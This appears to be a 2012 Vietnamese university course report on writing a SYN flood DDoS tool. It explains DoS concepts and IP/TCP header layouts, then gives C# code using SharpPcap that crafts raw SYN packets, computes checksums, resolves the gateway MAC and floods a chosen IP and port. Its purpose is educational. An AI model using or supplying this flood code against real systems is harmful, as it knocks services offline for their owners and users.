Tải bản đầy đủ (.pdf) (21 trang)

Báo cáo môn INTRANET đề tài DDOS attack using SYN flood tool

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (337.73 KB, 21 trang )


TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI
VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG









BÁO CÁO MÔN INTRANET

Đề tài:
DDOS attack using SYN Flood Tool

Giảng viên hướng dẫn: ThS.Phạm Huy Hoàng

Sinh viên thực hiện :
Nguyễn Trọng Hiếu 20080941
Trịnh Duy Tân 20082329
Bùi Anh Tuấn 20082869
Lê Văn Nguyễn 20081912
Lớp: TTM – K53







Hà Nội, tháng 04 năm 2012
SYN Flood Attack Tool

Page 2


Mục lục

I/ Mở đầu: 3
1. Tấn công từ chối dịch vụ 3
2. Tấn công SYN flood là gì : 4
3. Cấu trúc IP Header và TCP Header 6
3.1. Cấu trúc gói tin IP 6
3.2. Cấu trúc gói tin TCP 9
4. Yêu cầu thực hiện đối với việc viết tool tấn công DDOS dạng Syn flood: 12
II/ Thực hiện : 12
1. Chuẩn bị 12
2. Những khó khăn trong quá trình thực hiện và hướng giải quyết : 12
III/ Giới thiệu chương trình 13
IV/ Kết quả: 19
V/ Tài liệu tham khảo 21


SYN Flood Attack Tool

Page 3

I/ Mở đầu:
1. Tấn công từ chối dịch vụ
Tấn công từ chối dịch vụ DoS (Denial of Service) là tên gọi chung của

kiểu tấn công làm cho một hệ thống nào đó bị quá tải dẫn tới không thể cung
cấp dịch vụ, hoặc phải ngưng hoạt động. Đối với các hệ thống bảo mật tốt,
khó thâm nhập, tấn công từ chối dịch vụ được hacker sử dụng như cú dứt
điểm để triệt hạ hệ thống đó. Tùy phương thức thực hiện mà DoS được biết
dưới nhiều tên gọi khác nhau: cổ điển nhất là kiểu DoS (Denial of Service)
tấn công bằng cách lợi dụng sự yếu kém của giao thức TCP (Transmision
Control Protocol); sau đó là DDoS (Distributed Denial of Service) - tấn công
từ chối dịch vụ phân tán; mới nhất là tấn công từ chối dịch vụ theo phương
pháp phản xạ DRDoS (DistributedReflection Denial of Service).

Để thực hiện "Tấn công từ chối dịch vụ phân tán DDoS", kẻ tấn công
tìm cách chiếm dụng và điều khiển nhiều máy tính hoặc mạng máy tính
trung gian (đóng vai trò zombie) từ nhiều nơi để đồng loạt gửi ào ạt các gói
tin (packet) với số lượng rất lớn, mục đích chiếm dụng tài nguyên và làm
tràn ngập đường truyền của một mục tiêu xác định nào đó. Riêng "Tấn công
từ chối dịch vụ phản xạ DRDoS" chỉ mới xuất hiện gần đây nhưng lại là loại
nguy hiểm nhất. Nếu được thực hiện bởi các hacker chuyên nghiệp, không
một hệ thống nào có thể đứng vững được trước nó. Đáng nói hơn, hiện cũng
SYN Flood Attack Tool

Page 4

đã xuất hiện nhiều loại virus, worm, trojan có chức năng tự động thực hiện
tấn công DoS.
Ngoài ra còn có các biến thể khác như: Broadcast Storms, SYN,
Finger, Ping, Flooding với mục tiêu chiếm dụng các tài nguyên của hệ
thống như: Bandwidth, Kernel Table, Swap Space, Cache, Hardisk, RAM,
CPU làm hoạt động của hệ thống bị quá tải dẫn đến không đáp ứng được
các yêu cầu (request) hợp lệ nữa.


2. Tấn công SYN flood là gì :
TCP SYN Flood Attack:
Được xem là một trong những kiểu tấn công DoS kinh điển nhất. Lợi
dụng sơ hở của thủ tục TCP khi “bắt tay ba chiều”, mỗi khi client (máy
khách) muốn thực hiện kết nối (connection) với server (máy chủ) thì nó thực
hiện việc bắt tay ba bước (three – ways handshake) thông qua các gói tin
(packet).
- Bước 1: Client (máy khách) sẽ gửi các gói tin (packet chứa SYN=1) đến
máy chủ để yêu cầu kết nối.
- Bước 2: Khi nhận được gói tin này, server sẽ gửi lại gói tin SYN/ACK để
thông báo cho client biết là nó đã nhận được yêu cầu kết nối và chuẩn bị tài
nguyên cho việc yêu cầu này. Server sẽ giành một phần tài nguyên hệ thống
như bộ nhớ đệm (cache) để nhận và truyền dữ liệu. Ngoài ra, các thông tin
khác của client như địa chỉ IP và cổng (port) cũng được ghi nhận.
- Bước 3: Cuối cùng, client hoàn tất việc bắt tay ba bước bằng cách hồi âm
lại gói tin chứa ACK cho server và tiến hành kết nối.
SYN Flood Attack Tool

Page 5


Do TCP là thủ tục tin cậy trong việc giao nhận (end-to-end) nên trong
lần bắt tay thứ hai, server gửi các gói tin SYN/ACK trả lời lại client mà
không nhận lại được hồi âm của client để thực hiện kết nối thì nó vẫn bảo
lưu nguồn tài nguyên chuẩn bị kết nối đó và lập lại việc gửi gói tin
SYN/ACK cho client đến khi nào nhận được hồi đáp của máy client.
Điểm mấu chốt là ở đây là làm cho client không hồi đáp cho Server. Và có
hàng nhiều, nhiều client như thế trong khi server vẫn “ngây thơ” lặp lại việc
gửi packet đó và giành tài nguyên để chờ “người về” trong lúc tài nguyên
của hệ thống là có giới hạn! Các hacker tấn công sẽ tìm cách để đạt đến giới

hạn đó.

Nếu quá trình đó kéo dài, server sẽ nhanh chóng trở nên quá tải, dẫn
đến tình trạng crash (treo) nên các yêu cầu hợp lệ sẽ bị từ chối không thể đáp
ứng được. Có thể hình dung quá trình này cũng giống như khi máy tính cá
nhân (PC) hay bị “treo” khi mở cùng lúc quá nhiều chương trình cùng lúc
vậy.
SYN Flood Attack Tool

Page 6

Thường, để giả địa chỉ IP gói tin, các hacker có thể dùng Raw Sockets
(không phải gói tin TCP hay UDP) để làm giả mạo hay ghi đè giả lên IP gốc
của gói tin. Khi một gói tin SYN với IP giả mạo được gửi đến server, nó
cũng như bao gói tin khác, vẫn hợp lệ đối với server và server sẽ cấp vùng
tài nguyên cho đường truyền này, đồng thời ghi nhận toàn bộ thông tin và
gửi gói SYN/ACK ngược lại cho Client. Vì địa chỉ IP của client là giả mạo
nên sẽ không có client nào nhận được SYN/ACK packet này để hồi đáp cho
máy chủ. Sau một thời gian không nhận được gói tin ACK từ client, server
nghĩ rằng gói tin bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK, cứ như thế,
các kết nối (connections) tiếp tục mở.
Nếu như kẻ tấn công tiếp tục gửi nhiều gói tin SYN đến server thì
cuối cùng server đã không thể tiếp nhận thêm kết nối nào nữa, dù đó là các
yêu cầu kết nối hợp lệ. Việc không thể phục nữa cũng đồng nghĩa với việc
máy chủ không tồn tại. Việc này cũng đồng nghĩa với xảy ra nhiều tổn thất
do ngưng trệ hoạt động, đặc biệt là trong các giao dịch thương mại điện tử
trực tuyến.
Đây không phải là kiểu tấn công bằng đường truyền cao, bởi vậy chỉ
cần một máy tính nối internet qua ng. dial-up đơn giản cũng có thể tấn công
kiểu này (tất nhiên sẽ lâu hơn chút).


3. Cấu trúc IP Header và TCP Header
3.1. Cấu trúc gói tin IP
IP Header
Header của gói tin IPv4 bao gồm 13 trường, trong đó 12 trường là bắt
buộc. Trường thứ 13 (được tô màu đỏ trong bảng)là tùy chọn, đúng với tên
của nó:options. Các trường này trong header được lưu trữ với byte có ý
nghĩa cao(the most significant byte) ở địa chỉ thấp (big endian),nói cách
khác bit có ý nghĩa cao luôn ở địa chỉ thấp. Bit quan trọng nhất là bit số 0, vì
vậy trường phiên bản (version) được lưu trong 4 bit đầu tiên của byte đầu
tiên, ví dụ
SYN Flood Attack Tool

Page 7


VERS (4 bit): Version
Chỉ ra phiên bản của trình nghi thức IP đang được dùng là Ipv4 (0100)
hoặc Ipv6 (0110) . Nếu trường này khác với phiên bản IP của thiết bị nhận,
thiết bị nhận sẽ từ chối và loại bỏ các gói tin này.
IP Header Length (HLEN) (4 bit): – Chỉ ra chiều dài của header , mỗi đơn vị
là 1 word , mỗi word = 32 bit = 4 byte . Ở đây trường Header Length có 4
bit => 2^4 = 16 word = 16 x 4byte = 64 byte è chiều dài header tối đa là 64
byte . Bình thường Hearder dài 20 byte . Đây là chiều dài của tất cảc các
thông tin Header. Trường này cũng giúp ta xác định byte đầu tiên của Data
nằm ở đâu trong gói tin IP datagram
Type Of Services (TOS)(8 bit)
Chỉ ra cách thức xử lý data như thế nào, có độ ưu tiên hay không, độ
trễ cho phép xử lý gói dữ liệu . Trường này thường được dùng cho QoS là 1
chức năng dành 1 lượng băng thông để cho để cho 1 dịch vụ nào đó hoạt

động ví dụ như dịch vụ truyền thoại , video …
Total Length
SYN Flood Attack Tool

Page 8

Chỉ ra chiều dài của toàn bộ gói tính theo byte, bao gồm dữ liệu và
header,có 16 bit. 16 bit à tối đa là 2^16 = 65536 bye = 64 Kb è chiều dài tối
đa của 1 IP datagram là 64 Kb.
Identification - có 16 bit
Chỉ mã số của 1 IP datagram , giúp bên nhận có thể ghép các mảnh
của 1IP datagram lại với nhau vì IP datagram phân thành các mảnh và các
mảnh thuộc cùng 1 IP datagram sẽ có cùng Identification
Flag
Một field có 3 bit,
o Bit 0 : không dùng
o Bit 1 : cho biết gói có phân mảnh hay không .
o Bit 2 : Nếu gói IP datagram bị phân mảnh thì mảnh này cho biết mảnh
này có phải là mảnh cuối không .
Fragment Offset - có 13 bit
Báo bên nhận vị trí offset của các mảnh so với gói IP datagram gốc
để có thể ghép lại thành IP datagram gốc.
Time To Live (TTL)
Chỉ ra số bước nhảy (hop) mà một gói có thể đi qua.Con số này sẽ
giảm đi 1 , khi gói tin đi qua 1 router. Khi router nào nhận gói tin thấy TTL
đạt tới 0 gói này sẽ bị loại. Đây là giải pháp nhằm ngăn chặn tình trạng lặp
vòng vô hạn của gói tin trên mạng.
Protocol( 8 bit)
Chỉ ra giao thức nào của tầng trên (tầng Transport) sẽ nhận phần data
sau khi công đoạn xử lí IP diagram ở tầng Network hoàn tất hoặc chỉ ra giao

thức nào của tầng trên gởi segment xuống cho tầng Network đóng gói thành
IP Diagram , mỗi giao thức có 1 mã.
o 06 : TCP :
o 17 : UDP
o 01 : ICMP
o 08 : EGP
Header CheckSum – có 16 bit
Giúp bảo đảm sự toàn vẹn của IP Header, .
Source Address (32 bit)
Chỉ ra địa chỉ của thiết bị truyền IP diagram .
Destination Address(32 bit )
SYN Flood Attack Tool

Page 9

Chỉ ra địa chỉ IP của thiệt bị sẽ nhận IP diagram
IP Option
kích thước không cố định , chứa các thông tin tùy chọn như :
o Time stamp : thời điểm đã đi qua router.
o Security : cho phép router nhận gói dữ liệu không , nếu không thì gói sẽ
bị hủy
o Record router : lưu danh sách địa chỉ IP của router mà gói phải đi qua,
o Source route : bắt buộc đi qua router nào đó. Lúc này sẽ không cần dùng
bảng định tuyến ở mỗi Router nữa.
Padding
Các số 0 được bổ sung vào field này để đảm bảo IP Header luôn là bội
số của 32 bit.

Data
Chứa thông tin lớp trên, chiều dài thay đổi đến 64Kb . Là TCP hay

UDP Segment của tầng Transport gửi xuống cho tần Network , tầng
Network sẽ thêm header vào gói tin IP datagram.

3.2. Cấu trúc gói tin TCP
TCP Header

Source port
Số hiệu của cổng tại máy tính gửi.
Destination port
Số hiệu của cổng tại máy tính nhận.
SYN Flood Attack Tool

Page 10

Sequence number
Trường này có 2 nhiệm vụ. Nếu cờ SYN bật thì nó là số thứ tự gói
ban đầu và byte đầu tiên được gửi có số thứ tự này cộng thêm 1. Nếu không
có cờ SYN thì đây là số thứ tự của byte đầu tiên.
Acknowledgement number
Nếu cờ ACK bật thì giá trị của trường chính là số thứ tự gói tin tiếp
theo mà bên nhận cần.
Data offset
Trường có độ dài 4 bít qui định độ dài của phần header (tính theo đơn
vị từ 32 bít). Phần header có độ dài tối thiểu là 5 từ (160 bit) và tối đa là 15
từ (480 bít).
Reserved
Dành cho tương lai và có giá trị là 0.
Flags (hay Control bits)
Bao gồm 6 cờ:
URG

Cờ cho trường Urgent pointer
ACK
Cờ cho trường Acknowledgement
PSH
Hàm Push
RST
Thiết lập lại đường truyền
SYN
Đồng bộ lại số thứ tự
FIN
Không gửi thêm số liệu
Window
Số byte có thể nhận bắt đầu từ giá trị của trường báo nhận (ACK)
Checksum
16 bít kiểm tra cho cả phần header và dữ liệu. Phương pháp sử dụng
được mô tả trong RFC 793:
16 bít của trường kiểm tra là bổ sung của tổng tất cả các từ 16 bít trong gói
tin. Trong trường hợp số octet (khối 8 bít) của header và dữ liệu là lẻ thì
SYN Flood Attack Tool

Page 11

octet cuối được bổ sung với các bít 0. Các bít này không được truyền. Khi
tính tổng, giá trị của trường kiểm tra được thay thế bằng 0,
Nói một cách khác, tất cả các từ 16 bít được cộng với nhau. Kết quả thu
được sau khi đảo giá trị từng bít được điền vào trường kiểm tra. Về mặt
thuật toán, quá trình này giống với IPv4.
Điểm khác nhau chỉ ở chỗ dữ liệu dùng để tính tổng kiểm tra. Dưới đây là
một header của IP:



Các địa chỉ nguồn và đích là các địa chỉ IPv4. Giá trị của trường protocol là
6 (giá trị dành cho TCP). Giá trị của trường TCP length field là độ dài của
toàn bộ phần header và dữ liệu của gói TCP.
Urgent pointer
Nếu cờ URG bật thì giá trị trường này chính là số từ 16 bít mà số thứ
tự gói tin (sequence number) cần dịch trái.
Options
Đây là trường tùy chọn. Nếu có thì độ dài là bội số của 32 bít.

Dữ liệu
Trường cuối cùng không thuộc về header. Giá trị của trường này là
thông tin dành cho các tầng trên (trong mô hình 7 lớp OSI). Thông tin về
SYN Flood Attack Tool

Page 12

giao thức của tầng trên không được chỉ rõ trong phần header mà phụ thuộc
vào cổng được chọn.

4. Yêu cầu thực hiện đối với việc viết tool tấn công DDOS dạng Syn flood:
- Tạo được gói tin Syn theo đúng format.
- Gửi được các gói tin SYN đến được địa chỉ yêu cầu trong môi
trường Windows SP2 hoặc cao hơn.



II/ Thực hiện :
1. Chuẩn bị
- Tìm hiểu về tấn công Syn flood: nguyên tắc, cách thức tấn công, cấu

trúc gói tin SYN, cách tạo gói tin và gửi gói tin trong môi trường Windows.
- Tham khảo một số code mẫu trên mạng về tool SYN flood trong môi
trường linux hoặc trong môi trường windows từ SP1 trở về trước (chủ yếu
được viết bằng C++)

2. Những khó khăn trong quá trình thực hiện và hướng giải quyết :
- Với môi trường windows từ SP2 trở lên, việc gửi gói tin SYN thông
qua raw socket đã bị cấm hoàn toàn bởi windows.à Hướng giải quyết: sử
dụng thư viện winpcap với wrapper là PacketX, cho phép gửi thông tin low-
level như vậy.
- Khó khăn trong việc tính checksum, nhất là với TCP header vì
checksum của TCP header có thêm phần pseudo header.à hướng giải quyết:
tham khảo một số ví dụ trên web.
- Với PacketX, khi tạo SYN packet sẽ gặp khó khăn trong việc lấy
destination MAC vì packetX không hỗ trợ. àcó 2 hướng giải quyết:
+ Sử dụng packetX tạo gói tin arp truy vấn để tìm ra MAC của
gateway
+ Tìm và sử dụng thêm thư viện khác hỗ trợ việc gửi arp và trả
về MAC của gateway một cách tự động.
SYN Flood Attack Tool

Page 13

èThực hiện theo phương án thứ hai vì phương án thứ 2 khả thi và sẽ
giúp giảm bớt công việc hơn, và ở đây thư viện ngoài được chọn đó là
Sharppcap, là một wrapper khác của winppcap.
- Chương trình gặp lỗi khi chạy thử trên windows 7, đã tìm ra lỗi: do
xung đột giữa Ipv4 và Ipv6 àhướng giải quyết: Khi lấy IP nguồn cần kiểm
tra để lấy ra đúng IPv4 (hầu hết đều sử dụng Ipv4, v6 chưa phổ biến).
- Xử lý bất đồng bộ trên Win Form.




III/ Giới thiệu chương trình
Ngôn ngữ sử dụng: C#
Môi trường lập trình: Microsoft Visual Studio 2010
Platform: .NET framework 4.0

Biểu đồ Use case


Các modul chính của chương trình
Lấy thông tin về các card mạng của máy:
privatevoid Form1_Load(object sender, EventArgs e)
{
try
{
LibPcapLiveDeviceList devices = LibPcapLiveDeviceList.Instance;
foreach (LibPcapLiveDevice dev in devices)
{
cbInterface.Items.Add(dev.Description);
SYN Flood Attack Tool

Page 14

}
cbInterface.SelectedIndex = 0;
}
catch (Exception ex)
{

MessageBox.Show("Kiểm tra lại kết nối mạng và card mạng.");
this.Dispose();
}
}


Tạo packet (thông tin về IP Header, TCP Header):
privatebyte[] MakePacket()
{
//TAO ETHERNET FRAME
byte[] Ethenet = newbyte[14];
//6 byte dau, 0->5 là dest mac
int z = 0;

foreach (string dMAC in destMAC)
{
Ethenet[z] = byte.Parse(dMAC,
System.Globalization.NumberStyles.HexNumber);
z++;
}
//6 byte tiep theo la source mac
int i = 6;

foreach (string sMac in sourceMac)
{
Ethenet[i] = byte.Parse(sMac,
System.Globalization.NumberStyles.HexNumber);
i++;
}
//2 byte cho Type:IP

Ethenet[12] = 0x08;
Ethenet[13] = 0x00;

//TAO IP HEADER
byte[] IPHeader = newbyte[20];
IPHeader[0] = 0x45;//Version va Header length
IPHeader[1] = 0x00;//Differentiated Services Field
//2 byte tiep theo la total length goi tin = 48
IPHeader[2] = 0x00;
IPHeader[3] = 0x30;
//2 byte tiep theo la identification
IPHeader[4] = (byte)(rand.Next(0, 255));
IPHeader[5] = (byte)(rand.Next(0, 255));
//2 byte tiep la Fragment offset
SYN Flood Attack Tool

Page 15

IPHeader[6] = 0x40;
IPHeader[7] = 0x00;
IPHeader[8] = 0x80;//TTL
IPHeader[9] = 0x06;//Protocol: TCP
//2 byte tiep theo la checksum, de la 0 truoc khi tinh
IPHeader[10] = 0x00;
IPHeader[11] = 0x00;
int l = 12;
//4 byte tiep theo la source IP

foreach (string sIP in sourceIP)
{

IPHeader[l] = (byte)Convert.ToUInt16(sIP);
l++;
}
//4 byte tiep theo la dest IP
int j = 16;

foreach (string sIP in destIP)
{
IPHeader[j] = (byte)Convert.ToUInt16(sIP);
j++;
}

//TINH CHECKSUM IP HEADER
UInt16 IPChksum = Cal_chksum(IPHeader);
IPHeader[10] = (byte)(IPChksum >> 8);
IPHeader[11] = (byte)(IPChksum & 0x00FF);

//TAO TCP HEADER
byte[] TCPHeader = newbyte[28];
//2byte dau la source port, random
UInt16 rdPort = (UInt16)(rand.Next(1024, 65535));
TCPHeader[0] = (byte)(rdPort / 0x100);
TCPHeader[1] = (byte)(rdPort - TCPHeader[0] * 0x100);
//2 byte tiep theo la dest port (mac dinh 80)
TCPHeader[2] = (byte)(destPort / 0x100);
TCPHeader[3] = (byte)(destPort - TCPHeader[2] * 0x100);
//4byte tiep theo la sequence number, random
TCPHeader[4] = (byte)(rand.Next(0, 255));
TCPHeader[5] = (byte)(rand.Next(0, 255));
TCPHeader[6] = (byte)(rand.Next(0, 255));

TCPHeader[7] = (byte)(rand.Next(0, 255));
//4byte tiep la ack number, set 0
TCPHeader[8] = 0x00;
TCPHeader[9] = 0x00;
TCPHeader[10] = 0x00;
TCPHeader[11] = 0x00;
//2 byte tiep theo la offset, reserved va control bit
TCPHeader[12] = 0x70;
SYN Flood Attack Tool

Page 16

TCPHeader[13] = 0x02;//flag (SYN)
//2 byte tiep theo la window size
TCPHeader[14] = 0xff;
TCPHeader[15] = 0xff;
//2 byte tiep theo la checksum, de bang 0 truoc khi tinh
TCPHeader[16] = 0x00;
TCPHeader[17] = 0x00;
//2 byte tiep theo set 0, Urgent Pointer
TCPHeader[18] = 0x00;
TCPHeader[19] = 0x00;
//8 byte tiep theo la option
TCPHeader[20] = 0x02;
TCPHeader[21] = 0x04;
TCPHeader[22] = 0x05;
TCPHeader[23] = 0xb4;
TCPHeader[24] = 0x01;
TCPHeader[25] = 0x01;
TCPHeader[26] = 0x04;

TCPHeader[27] = 0x02;

//TAO PSEUDO HEADER
//gom 4 byte source add, 4 byte des add,8 bit 0, 1 byte protocol va 2 byte TCP
length
byte[] PseudoHeader = newbyte[12];
//4 byte dau la source IP
int m = 0;
foreach (string sIP in sourceIP)
{
PseudoHeader[m] = (byte)Convert.ToUInt16(sIP);
m++;
}
//4 byte tiep theo la dest IP
int k = 4;
foreach (string sIP in destIP)
{
PseudoHeader[k] = (byte)Convert.ToUInt16(sIP);
k++;
}
//8 bit 0
PseudoHeader[8] = 0x00;
PseudoHeader[9] = 0x06;//TCP
//2 byte tiep theo la TCP length = 28
PseudoHeader[10] = 0x00;
PseudoHeader[11] = 0x1C;

//TINH CHECKSUM TCP HEADER
byte[] tmpTCPHeader = GhepMang(PseudoHeader, TCPHeader);
UInt16 TCPChksum = Cal_chksum(tmpTCPHeader);

TCPHeader[16] = (byte)(TCPChksum >> 8);
TCPHeader[17] = (byte)(TCPChksum & 0x00FF);
SYN Flood Attack Tool

Page 17


//TAO GOI TIN DE GUI DI
byte[] packet = GhepMang(Ethenet, IPHeader);
byte[] packetToSend = GhepMang(packet, TCPHeader);

return packetToSend;
}


Ta xây dựng hàm tính checksum cho Header:
privateUInt16 Cal_chksum(byte[] bytedata)
{
UInt16 word16 = 0;
UInt32 sum = 0;
int count = bytedata.Length, i = 0;

while (count > 1)
{
word16 = (UInt16)(((bytedata[i] << 8) & 0xFF00) + (bytedata[i + 1]
& 0xFF));
sum = sum + (UInt32)word16;
count -= 2;
i += 2;
}


if (count == 1)
{
word16 = (UInt16)((bytedata[bytedata.Length - 1] << 8) & 0xFF00);
sum = sum + (UInt32)word16;
}

while ((sum >> 16) != 0)
sum = (sum & 0xFFFF) + (sum >> 16);

sum = ~sum;

return (UInt16)sum;
}

privatebyte[] GhepMang(byte[] a, byte[] b)
{
int count = a.Length + b.Length;
byte[] kq = newbyte[count];
int x = 0;
for (int i = 0; i < a.Length; ++i)
{
kq[x++] = a[i];
}
for (int i = 0; i < b.Length; ++i)
SYN Flood Attack Tool

Page 18

{

kq[x++] = b[i];
}
return kq;
}


Ngoài ra khi tạo packet cần lấy thông tin về MAC và IP của card mạng,
MAC của Gateway (modem) để thêm vào packet
privatestring GetMACInterface(LibPcapLiveDevice device)
{
device.Open();
string MACAdd = null;
byte[] bytes = device.MacAddress.GetAddressBytes();
for (int i = 0; i < bytes.Length; i++)
{
MACAdd += bytes[i].ToString("X2");
if (i != bytes.Length - 1)
{
MACAdd += "-";
}
}
device.Close();
return MACAdd;
}

privatestring GetIPInterface(LibPcapLiveDevice device)
{
device.Open();
string IPInterface = device.Interface.Addresses[0].Addr.ToString();
// Sử dụng IPv4

if (IPInterface.Length > 17) IPInterface =
device.Interface.Addresses[1].Addr.ToString();
device.Close();
return IPInterface;
}

privatestring GetMACGateway(LibPcapLiveDevice device)
{
string MACGateway = null;
try
{
ARP arper = newARP(device);
System.Net.IPAddress ip = device.Interface.GatewayAddress;
byte[] phynull = newbyte[6] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
PhysicalAddress phyadd = newPhysicalAddress(phynull);
do
{
SYN Flood Attack Tool

Page 19

phyadd = arper.Resolve(ip);
}
while (phyadd == null);
byte[] bytes = phyadd.GetAddressBytes();
for (int i = 0; i < bytes.Length; i++)
{
MACGateway += bytes[i].ToString("X2");
if (i != bytes.Length - 1)
{

MACGateway += "-";
}
}
}
catch (Exception ex)
{
}
return MACGateway;
}


Các packet được gửi trực tiếp qua card mạng đã chọn nhờ sử dụng thư viện
WinPCap (SharpPCap).



IV/ Kết quả:

Khởi động chương trình:



SYN Flood Attack Tool

Page 20

ð Cho phép chọn card mạng, IP đích, cổng, số lượng gói tin sẽ gửi và
thời gian trễ (delay) giữa các gói tin.

Bắt đầu gửi:




Hoàn thành:



Theo dõi trên WireShark:

SYN Flood Attack Tool

Page 21





V/ Tài liệu tham khảo

- DDOS attack – wikipedia.
- Codeproject.com.
- Tài liệu tham khảo từ Internet.

×